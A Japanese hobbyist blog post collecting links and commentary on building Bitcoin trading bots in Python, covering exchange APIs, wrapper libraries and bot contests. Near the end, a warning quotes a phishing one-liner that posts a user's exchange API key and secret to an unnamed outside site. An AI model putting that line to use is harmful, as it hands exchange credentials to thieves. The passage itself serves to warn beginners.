BTC BOT、備忘録としてコピペしているうちに盛りだくさんに(=^・^=)
この備忘録は無駄ではなかった!文系、IT関係なし、パイソン?? 年齢言いたくない俺でもBOT開発出来た(/_;)
初号機bot(BF用)完成につき記念公開 解説付き
↓ PC用起動PAD (左側BTCBOT起動 , 右側グラフ出力呼び出し)
↓FXBTC価格グラフ(黄)とポジション(ロング青 ショート赤)
ショート イッパーーツ GET 上手い!!
成績は、大負けはしないが勝てない。まあ適当にポジるだけなので(/_;)。
素人丸出しだが公開してある。誰かこうしたらいいとか教えてほしい。
【BOTこれからの人へ】
結局、「pythonを習得する」事が必要。話はそれからだ。
勿論pythonでなくても可だが、pythonは情報がダントツ豊富。すごくお手軽。
まあ、簡単ではないが、躓いても焦らず諦めなければ大丈夫。
いつかボットが、[@_@]ピピピ『利確、1億ゲット』とか言うことでしょう(/・ω・)/
第1章 Bitcoin アマチュアBOT流行から隆盛へ
【24時間ビットコイれないから助けてBOT君】
- 大きな値動きは夜中に多いが、俺たちゃ寝てるzzzZZZ!
- ブレークするまでレンジ中のチャートをじっと見続けるのは苦痛だしそんなことは不可能だ。
- 裁量トレードでがんばったが、負けが増える一方だ。
- 仕事中でも、寝ていても、外出中でも、勝手に稼いでくれるBOTが是非ともほしい。
【BOT開発始めるならこの方法がおすすめ・・・だったが】
BITCOINのBOTを始めるには、noteで検索するのが効率が良い時代もあった。
・・・しかし、noteは2019年以降、「情報商材販売所」的様相を呈してしまい、WEBに転がってるようなソース(想像)が、5万円で販売されていたりする。
普通にgoogleでWEBを検索したほうがいいのかもしれない。ヤレヤレ。
学習用としてはqiitaも情報が多いのですが、tips的な内容が多く、完動品は殆どないです。
githubは完成品がたくさんあります。金山です。しかし解説は殆どないので、学習には?
ビットコインBOTは2018年の情報が多く、環境の変化によりもはや動かないものが多い。
また、リンク先サイトが日に日に消滅して行っている。・・・・Botter引退が多い現実。
なお、当ページは私的な学習目的のまとめなので、お金のかかるのはパスしてます。きりが無いですから。
2018年 pythonを学習してbotを作ろうがブームに
BTCFXのドンチアンチャネルブレイクアウトBOTの実践用コード(Bitflyer用)
RYOTAさんのボット制作入門ブログは丁寧でとてもいい。
生徒に教えるように記述されていて、解かりやすい。
ryota氏は、どんどんやってみましょうというスタンスで、pythonの解説も要所要所でしてあるので、そのとおり進めれば良いでしょう。
読んでコードをコピペすればとりあえず動きますが(微妙、エラーを吐いて動かない場合が多い)、改良したり自分のボットを作ってみたい人は、要python習得です。
というか、逆にこちらのサイトはpython学習の素材として秀逸と考えられます。トレーダーがパイソン覚えるための教科書と考えればムムムムそれでいーんです。普通の「1.変数とは—」教材ではモチベーションゼロですよね。
仮想通貨bot 勉強記録
ryota氏のサイトを「教科書」として、環境に合わせながら再現する過程をnoteに連載記事化されている方がいらっしゃいます。

取引所がbybitでAPIのラッパーもまちゅけん氏のものを利用ということで、今現在実行できる環境に移植しながら、開発の経過を詳細にUPされていますので、これから始める方にはとてもいい参考書だと思います。
BOT 実例
ビットフライヤー bitflyer用BOT
日本国内の取引所で最大手なので、馴染んでしまった人はやはりここでBOT動かしたい。
チャネルブレイクアウトボット for bitflyer-FX
sunufkinさんオリジナル
ビットフライヤーのボットの情報発信といえばこの人
優秀なのに親切丁寧。好感度290万JPY(~2019、BTCFXの最高値)
彼がHP上無料で公開したbitflyer-fx-bot「チャネルブレイクアウトBOT」。
backtest=シミュレーターが付属、ラインへの評価グラフの通知など、知的好奇心をくすぐる仕様が、botterを惹きつけた。
(リアルタイム通信が現在はwebsocketを使うが、この頃はpubnubという方式であった。つまりそのままでは動かない)
なんと、こちらのBOTのコードをnote上で詳細に分析された方がいらっしゃいます。
超大作41回連載の充実度。
ただし、pythonの基本は知ってる前提での、ロジックや取引所のデータをどう扱いうか、というような解説になっています。
これを見て思い知りました。基本がないのに情報を集めても理解できないぞと。
一冊のpython入門書を全部暗記して、コードを書き慣れて、やっとこれを見れるのだと。
python BOTで億り人計画、数年計画に変更しないと(;_;)
ということで闇雲な情報収集は止めて、このコードの意味がわかるまでpython勉強することにした。
上記snufkinさんのソースを改変し、開発者のコミュニティDiscordで開発を続けたコニー・ワイルドさんのバージョンが↓
Connie-Wild/ChannelBreakoutBot
BF-FX用ではかなりの高機能BOT。
動作マニュアル(説明文程度ですけど)完備。
テストの方法が充実していて、納得してから稼働できる。
機械学習によるシミュレーションなど、高額販売品レベル。
そしてなんと、あの『wanna_be_free』先生が、ぶっ飛んだ53回シリーズの解説をして下さっています。
コニーワイルドバージョンのチャンネルブレークアウトボットは必要な物が全部入りの、python BOTの教科書
これからBOT勉強してみる人はこれをゴールにして(難解です)python勉強すると良いかも。
私はpython入門本で入門して、自分でボット作ってみて、以前はチンプンカンプンだったこれを見返したら、全部入ってる。最近の環境にもアップデートしてあるし。
- json
- pandas DataFrame
- threading
- websocket
- ローソク足
- ブレークアウトロジック
- クラスの実際(変数の隠蔽getter,setterがわかった)
- などなど
(盗まなければ^^; )
wanna_be_free先生の解説もあるし、入門の次の実践はこれを教科書にすれば良いと思った。(投資ロジックは置いといて、プログラムコードの話。)
magito氏のmm bot稼働実験してみました
mmBOTってなんだろうというタイミングで無料リリースされたmmBOTソース。
ソースもあるが、MM(Market Maker)の説明が詳細に。
素晴らしい記事です。この方の記事はとてもためになります。
そしてまたまた『wanna_be_free』先生が詳細に解説してくださっております。
これで、mmBOTもお手の物でしょうか。
システムトレード専門家のブログからBFFX用お試し的1本
2019年5月公開 ソースは新しいほうが良い
このブログでは、システムトレードの始め方や
私が実際にやってみた手法や結果を紹介していきます。
無料でソースがあるが動くのだろうか?
基本的なBOTでbitflyer用。勉強用に良いかも。
bitflyerでの、イナゴボット。
標準でボリュームや板の情報が取れるのがBITCOINならでは。
これらを攻略できれば、チャートの「だまし」に騙されないと思うので、検証とかサブの抑えアルゴリズムとしてライブラリー化してほしいな。
断クリプト日記(n日ぶりm回目) 暗号通貨ガチホしつつbotトレード極めます
完成形
1分ごとにRSIを取得し、設定した基準を割った場合(売られすぎor買われすぎ)にエントリーし、RSIがニュートラルになったらポジションをクローズする平均回帰型のスキャルbotです。
公開したソースコードはbitFlyerのBTC-FXで取引するための実装にしてあります。
IFDOCO注文のコードが有る「独学部」さん
簡単なテスト的pythonコード
Binance
かそ部さん BinanceAPIの使い方解説
Liquid by Quoine
オフィシャルなAPIドキュメント。
2020/02/28日本語APIページを公開
日本語やっとだ(笑)待ったかいがあって、読みやすいレイアウトは良いです。
自社提供の liquidtap というAPIラッパーがあっていいですね。
コード例にpythonがいっぱいあってそこもいいですね。
カピパラさんのliquid by quoine APIラッパー
Kapipara180様、ツールは無料で、BOTは有料でという素晴らしいバランス感覚。
そしてスナフキンさんが上のkapipara180さんのラッパーを改良して頂いてるようです。
QUOINE(LIQUID) APIから注文する方法~プログラム例
PythonによるLiquid by Quoine のプライベートAPIの認証方法
GMOコイン
API いつの間にか日本の取引所で最も充実!
各APIのコード例が10言語対応
開発陣のやる気がすごい
個人ごとですが、BFからの引越し先をLiquidでなくGMOさんに変更します。よろしくおなしゃす。
CoinCheck
Python×ビットコイン自動売買 | Coincheck APIを使って全取引履歴を取得しよう!
bitbank
オフィシャルmmbot(Java Script)
ミナピピン
Pythonで自動売買Botを作る①~⑤
BOT入門者に最適。準備から実動作まで完全解説。
bitbank api、データはcoingecko api という渋さ。
Zaif
python
各取引所API対応python
取引所のAPI評価
【コーヒーブレイク】
個人的見解ですが、ドテンも平均線交差もブレークアウトも基本は勝てません。
値動きに対して遅れてエントリーするのでレンジで焼かれます。そして、「ならレンジって何」となり、「どうやって見分けるの」となります。ボットの問題ではなく戦略性の問題です。
「じゃあBOTの優位性は何?勝手に稼いでくれないんだ!なーんだ」
となってみんなBOTをやめているようです。
多くのBOTブログが2018年の夏過ぎに更新がなくなってます。
第2章 自作のためのBOTの 環境 準備 学習
用語
API(Application Programming Interface)アプリのためのインターフェース
例えば、今の値段は?という時、取引所のデータベースにアクセスさせる訳にはいかないし、出来たとしても複雑なプログラムが必要になる。
そこで、決められた記号を送ると、決められたフォーマットでデータを返してくれる仕組み。
実態は取引所が用意した小さいプログラム。
その集まりをAPIと呼んでいる。
コンソール
コンソールはデスクトップと同じ意味。
UNIXやMACで言われる。
「シェル」 「ターミナル」 「コマンドライン」 などと言われることも有るが、動作としてはコマンドを打ち込んで実行する同じもの。
windowsでは「コマンドプロンプト」といっている。
通称「DOS窓」MS-DOS(windows以前のOS)の画面を窓として開いているという意味。
プロンプトというのは
カレントディレクトリに”>”がついて、「(入力を)促す」という意味。
最近はpowershellというのが有ってdos窓より高機能です。dos窓を使う理由はないですね。
*Anaconda利用が多いと思うが、その場合はAnaconda promptを使います。
Dos窓やpowershellは標準ではPATHが通っていません。
AWS cloud9
“AWS”=Amazon WEB Swrvice
microsoftの”AZURE”と双璧をなすクラウドサービス。
cloud9はamazonに買収されたメジャーなクラウドサービス。
「クラウド」はサーバーの集まりが雲に見える事。遠くにあってぼんやりしてる感じです。
仮想技術などで色々なバリエーションが有るのが掴みどころがなくて「雲」。
レンタルサーバー・ホスティング・ハウジングなどのサーバー技術が、統合したり分離したり分散したり乗っかったり多次元化したりして「雲」とでも言うしか無い。
自宅PCを動かすよりも何かと便利。いつでもどこでも触れるし。安定しているし。ヘタすると家の電気代より安い。
プログラム言語別BOT(他にもいっぱいあります)
自分が最近BOT界隈で見かけたことがある言語と、今後可能性のある有名な言語。
python パイソン
一番はやりの言語。入門から業務ユースまで一番人気らしい。オブジェクト指向言語。バージョン2系と3系が混在している。発展途上。
PCにインストールするなら統合環境のanacondaが一番良い。
実行やpipは、DOS promptではなく、Conda Prompt上で行う。
(どうしてもDOSが良ければインストール時に「環境変数設定の□チェック」をお忘れなく)
開発用統合環境EDITOR
・お手軽度ならgoogle謹製Colaboratoryはインストール不要ブラウザ上で編集し実行。入門用というわけではなくクラウド内GPUを使った機械学習用環境なのだ。
・anacondaに入ってる統合環境spyderはすごく良い。
・jupyter notebookも良い
そのgoogleクラウド版がGoogle Colaboratory。
・Pycharmもいいし使っている人も多い。
・VScode 最強王者。
・PyScripterは使いやすい、個人的にはこれがメイン
python用テキストエディター、私はsakuraエディター。
BOTのpythonソースコードのありか
検索するといっぱい出てくる。
- note(情報量は多い 有料多し)
- github(やや古いが量は多い)
- qiita(pythonの情報は多いが仮想通貨の情報は少ない)
以下、python以外の言語別BOT
GO ゴー
おいら全然知らない、ごめんなさい。
こちらの方がBitmex用Go言語のBOTを配布されています。
Javascript
ブラウザ上では最も使われているJavascript。
pythonより情報が格段に多く、とっつきやすいかも。
node.js
bitflyer-fx用bot node.jsでの開発を十数回にわたって解説してくれています。
無料noteです。
bitflyer-FXのチャットやTwitterでもよくお見かけするので、相場もプログラムも超期待が持てます。
node.jsというのは「サーバサイドJavaScript」だそうでして、javascriptで記述して、サーバーで稼働できるということでしょうか。
PHP
PHPでBITMEX
Java
総合的に最も使われている言語と言える。
after-the-sunriseさんがJAVAのbitflyer用ライブラリを公表してます。
BOTはどこかにあるのかな?
C++ シープラプラ
CのGUI版で本格的オブジェクト指向言語。
リンク切れです↓
C#
C#を 「①Visual Studio 2017 のインストール手順」から解説、8回シリーズ。
MS謹製無料ソフトならでは、GUIが簡単に作れる。かっこよさNO1
やってみたい!!
clock-up-blog go-mi-techさん C# でビットコイン自動売買 (bitFlyer API を利用)
↓ Zaif用C# bot
ここから自由時間sさん
C
最も基本的とも言えるプログラム。最も原始的な高級言語。何じゃそりゃ?
WEBでは使わない。
basic
昔の言語、今はMS-officeのEXCEL-VBAくらいしか使われない。
エクセルによるBOTのための「BVAでAPI操作入門」的な
Tradinguview 上のマクロ言語 pine パイン
ブラウザの中で走らせるマクロで、チャートとマクロ画面が一体になっていて、コードがチャートへ即反映できるので人気がある。
通貨の売買も出来るが、分析ツールがものすごい数UPされていてお宝の山である。
無料バージョンでもスクリプトは制限がないと思われる。
for bitcoin bot ツール 環境
pybitflyer bitFlyerのREST APIをPythonから気軽に利用することができるラッパー
このラッパーがあったからBFのBOTが栄えたのかもしれません。やはり日本人作のため情報が多いので取っ付き易い。
ニッケルメッキ氏作 bitFlyer APIのラッパークラス
こちらの先生も、BitflyerのAPIラッパークラスです。
asyncioという、マルチプロセス対応を一から作っています。
読み込まないと・・・難しい。使うだけなら見本がありますので、簡単な人には簡単かと。
天下無敵CCXT
pybitflyerはbitflyerに特化しているので使いやすいのだろうが、Botterなら汎用性のあるCCXTがいいんじゃないのと思う。
しかも、開発履歴を見ると昨日とか先週とか実に丁寧にアップデートされているし、マルチプロセスサポートのasyncメソッド?のバージョンが有るではないの!
History for ccxt/python/ccxt/async_support/bitflyer.py
英語得意な人はスケールがデカく裾野が広いCCXTが良いね。
やはり、今後の日本の(金融庁の手による)火葬通貨の衰退を考えると、取引所の水平展開がしやすいCCXTがいい。
ただソースが難しいし、入り組んでるし、日本語のコメントがないので、理解不能じゃ。やっぱpybitflyerでなれてからだな。
あと、取引所特有のAPIは対応してない可能性がある。微妙。
これからはこれがスタンダードなBot開発
ボットフレームワーク(on CCXT)
【特ダネ】どの取引所でもOKのCCXTを使って、どの取引所でも操れるフレームワークが公開されてた
CCXTを使って、多数取引所をほぼ同一のコードでドライブできる、フレームワークを公開されている方を発見。
CCXTがどんなエンジンも操れる、シャーシーやギアリンケージとしたら、このフレームワークはそこにハンドルやブレーキをセットして誰でも運転できる装備にしたような感じでしょうか。
あとはドライバーが運転するだけです、的な。
コードは初心者には難しいが、これからBOT初めたいプログラム経験者には、棚からぼたもち、電車タダ乗り位のすごいおもてなしです。
文句なしの完成度。でも、フレームワーク(枠)ですので、肝心のトレードボットは自分で作る必要がありますので頑張りましょう。
オマケ的なサンプルプログラムも用意していただいているので、分かる人には美味しすぎる。ことでしょう。(python見習い3年目の私には難しいが、構造的でスマートでビューティフルなコード郡と思える^^;)
解説というかマニュアルも頑張っていただいているのが伝わります。
開発が、2019年と新しいので、内容も今現在通用する、バリバリ現役です。
githubの日付を見ると、今でもアップデートされているようです。
多分今現在ご自身が使ってらっしゃると想像。
BOTこれから入門の人も、トレードロジック以外の部分は、これを利用してしまうのが効率がいいのではないでしょうか。
取引所対応状況
取引所 API 約定情報 板情報 建玉管理・注文管理 バグ取り bitbank ○ ○ ○ × △ bitflyer ○ ○ ○ ○ ○ bitmex ○ ○ ○ ○ △ binance ○ ○ ○ ○ △ bybit ○ ○ ○ ○ △ gmocoin ○ ○ ○ × △ liquid ○ ○ ○ △(JPYペアのみ) △
PS.@_P_E_N_T_A氏Qiitaにこんな追加サービスが!
BTC取引所のwebsocket経由の約定履歴取得コードです。
この記事はGithubで公開しているコードの一部を切り出して、読みやすく書き換えたものです。
on_messageの中身を書き換えて使ってください
男前すぎる!太めのペンギン様m(_ _)m
仮想通貨botter 向けのPythonライブラリです。
ccxt の上位互換なライブラリを目指して開発しています。
オープンソースなので無料でだれでもご利用いただけます。仮想通貨botter の中でも、bot開発の入門を突破した、中級者以上と言えるような人を対象としたPythonライブラリです。
日本ではCCXTや取引所ごとのラッパーではなく、pybottersがスタンダードになっていくと思われます。githubの解説もとても超親切丁寧。人柄が察せられます。
pybottersは、まちゅけんさんがライブラリーを開発しながら、twitterゃnoteで積極的に情報を発信し、discordにもコミュニティを開設して質問にも答えるような対応をされています。
時間が経てば初級者用の知見もたまると思われるので、私のような永遠の入門者には楽しみなところです。
🏦 Exchanges
まちゅけんさんのもPENTAさんのものそうですが、ベテランボッターさんはbitmex出身の方が多いせいか、海外取引所が自然と優先になる印象がありますね。
全くの個人的には、裁量で馴染みのある、bitflyerとLiquidとGMOコインを完全対応していただけるとありがたいのですが^^;。
しかも海外取引所は金融庁の嫌がらせが日増しに酷くなっているようですので、かすかなリスクを感じますので。
というか、pybottersを契機として日本に何か大きいBOTウェーブが再来し、インフレを内包して令和バブルになると予想します! いや、断言します。(^o^)
痴呆庁(金融庁)が潰した日本の暗号通貨文化を若者達が再興させ、株やコモディティーをも対象とし、日本発のfintechが日本の経済を牽引する未来が見えます!👀
そんなわけで億りボッター様が共同で啓蒙活動などしてください。
何かと研究開発費として経費化できます。どうでしょうか?
(億るぐらいの人は法人化して税引前にお金を経費として使い、残りのお金は有効に資産化するのです。みんなやってる経費で贅沢。(破産注意)
それには悪い(法律内)知識と、良い(くない)税理士が必要です。普通の税理士会計士は税務署の犬ですから。ベシッ)
有料でもサポート等有ったほうがいいと言う人には、何種類か有るようです。
時間をカネで買う派の人には有効だと思います。情報も多いしサポートもあるし。
BFS-X および関連note
api叩いて取ったデータはこの形式になってますので知っとくと楽でしょう
【AWS Cloud9】Python開発環境構築手順
botを安定的に可動し続け、出先からでもコントロールできるには、サーバーで可動させるのが良い。
https://youtu.be/OEUoNAMA108@YouTubeさんから

プログラムの構成、アルゴリズム。
①移動平均交差ロジック、ゴールデンクロス、デッドクロス法。
直近の価格データを持ってくる。
画面でいう ↓↓↓ コレの数値だけ。
この数値を元に、計算上の2本の移動移動平均線を作ります。
2本の線が交差している辺りで売ったり買ったりします。
やがて値段が落ち着き、2本の線が近づいて逆側に交差する時、建玉を決済し、更にドテンします。
ドテンとは、売りと買いを一気に逆転させる売買のことです。
+1ロング→(-2ドテン)→-1ショート
大きな値幅で長いスパンで上下しているときは有効に機能します。
しかし、売り買いの「イン」も「決済」も、実際の価格から相当遅れたタイミングになります。
②ブレークアウト法
移動平均交差法が、トレンド発生後、方向が安定したのを見極めてから売買するのに対して、
ブレークアウト法は、トレンドが発生したらすぐに売買するという違いがあります。
大きな値動きをきっかけとし、買いや売りを発動するというロジック。
ドテンくんなどはこのロジックを利用している。
しかし、ブームの割には億ったと自慢する人が全く現れないので、やはりそれなりなのかもしれない。
ローソク足データ 、ダウンロード、チャート作成
333円で購入してください。払わなくても読めますが、礼儀ですよね。
1ヶ月で一つのCSVファイルが3年分、拙宅では小一時間かかりました。
しかし、実に簡単にohlc1分足が51ファイル集まりました。
3年と言っていますが、4年分以上ですね。
バックテストやるなら最強ですが、どうやってやるんでしょうか(^_^;)
stockplot.py 凄いチャート描画ライブラリが開発されてる
jupyter notebook や ipython上でチャートを描画する。
gitにソースが有る。
宝の山だが僕には全然わからないー。まあ、BOTにチャートの描画な無くても良いんですけど。
サイトごとためになる、良記事が満載
トラブル対処
自動トレードbotによる取引所API実行時の通信エラーと3つの対策
《天下一BOT会》
2018年6月 「天下一BOT会」というイベントが開催された。bitflyerで1週間BOTを動かして、収益率を競うという内容。
参加 27BOT中、完走 22BOT。 内プラスで完走したのは 12BOT(少な!)
内1000%超えは 4BOT。
1位は4,000円→(7日間)400,000円超えの1万%倍
(倍率勝負の場合、金額が少ないほうが勝ちやすい)
それなりに素晴らしいけど、裁量トレードの1日数千万勝ったとかのTweetをしょっちゅう見てるので、期待してた割には驚きはなかった。
しかし、金額で勝負という内容であれば、全然違った結果になっただろうことは想像できるので、今度やってほしいですね。
ちなみに1位の方は、金融関係のSE(Cobol)の方らしい。もともと本職?
この方のBOTはmmbotであり、この頃mmbotは話題になっていなかったので、エポックメイキングであった。(mm=market make)
《第二回天下一BOT会》
2019年GWの只中、あのBitconBOTのカリスマ、スナフキンさんが、「第二回天下一ボット会を主催」、開催されました。
メンバーがすごいです。Bitcoin界隈の有名なボット開発者がかなり参加しています。
バトルフィールドである取引所が「quoin」なのが、絶妙です。
BFと決別して毎日quoinで小銭を溶かしているオイラもびっくり。画面が更新されないquoinですから、スピード(主に遅延対策)のノウハウを持っている人が有利ではないかと思いました。
以下のツイートからDISCORDに参加すると、経過を含めた戦いの模様が見れると思います。
Liquid bot大会ですが,出場者は合計65人になりました!観戦者の方もこちらのリンクからご入場ください.アナウンス部屋にルール,出場者の情報や出場者の意気込みが載ったスプレッドシートをアップしてます!https://t.co/hDVnjNjz8K
— スナフキン (@snufkin0866) 2019年4月19日
結果一覧がここから見れるようです。
参加者は、ずいぶん盛り上がっていた様子です。
この一年で、チャートテクニカルをプログラム化するBOTから、企業並にHFT(高速取引)らしさを追求した、BOTらしいBOTに変化しているような気がします。
第一回でらっちょ氏がmmbotで優勝してから、アマチュアからセミプロへと成熟していると感じます。
【ボット運用は儲かるのか】
誰でも思う「ボットは儲かるのか?」・・・・・何種類か買って試した方のレポートがあります。
結果はなんとなくの予想通り・・・・・
Q>じゃあBOTなんかに手を出しても駄目なのか?
A>裁量がもっとだめな人にとっては、BOTが一筋の光明に間違いありません。
私事ですが、メンタルが弱いので、あきらめて退場するか、ボットにコツコツ取り返してもらうかの選択しかありません。キリッ( ・ิω・ิ)
何年かかろうともBOT開発を出来るようになり、BOTに億単位で稼がせるという壮大な計画を実現するのです。
理解してしまえば、「ビットコイン」でなくても、「為替FX」でも「株」でもいいのです。
【番外】注意–ゆずさんが、注意喚起してくれています。安易なコードのコピペは、ゴックス(盗難)される可能性あり!!!
BOT作成を第一歩から支援します! まずはAPIの設定から! とりあえず全部にチェックつけてください!
次にこのコードをコピーして実行してみてください!
params’= {‘api_key’:’aaa’, ‘api_secret’: ‘bbb’} http://requests.post (‘どっかのサイト’, params=params)
全て引き出されました!
解説:フィッシングですね。仮のIDとパスワードをあなたのIDとPWで上書きして盗みます。
IDとPWがあれば、資金状態を見たり、送金したりが簡単にできます。取引所ではIDとPWが盗まれたら、もうお金はないものと思ってください。
詐欺サイトであろうがなかろうが、IDとPWは絶対に他人に渡してはいけません。(実際にWtitter上で見聞きしてます、当人が設定できないから仕方なくIDとPWを聞いて設定してあげたと。IDとPWすら設定できないで人に任せて儲かると思っているバカが居るんでしょうな)
後記
最初このページを書いたときは、単なる個人的備忘録として記録し初めました。
そしたら、2018/5/5サイクリング中に骨折して一ヶ月ベッドで療養するはめになり、暇だったので色々追記しました。そしたら一日100アクセスくらいコンスタントに人が来ます。
その後、あの”AKAGAMI”様がtwitterでこのページを紹介してくれたようです。随分後で知りました。「驚異的網羅性」と言っていただいてました。
ちなみにアフィリンクなんか少し貼ってありますが、1年間で売上はゼロです。絞っても一滴も出ない「金儲けの才能」。悲しい。自分の価値がゼロのようで嫌ですね。
そんなこんなで、それ以降は仕事もあるし、自分でプログラムの勉強もあるし、ビットコインの裁量取引も少しするしで更新はあまり出来てません。
見に来たのに内容が古いとお怒りの諸兄、「もーし訳ありません 」
次また骨折ったら全面リライトしますので、許してね。(=^・^=)
コメント
[…] […]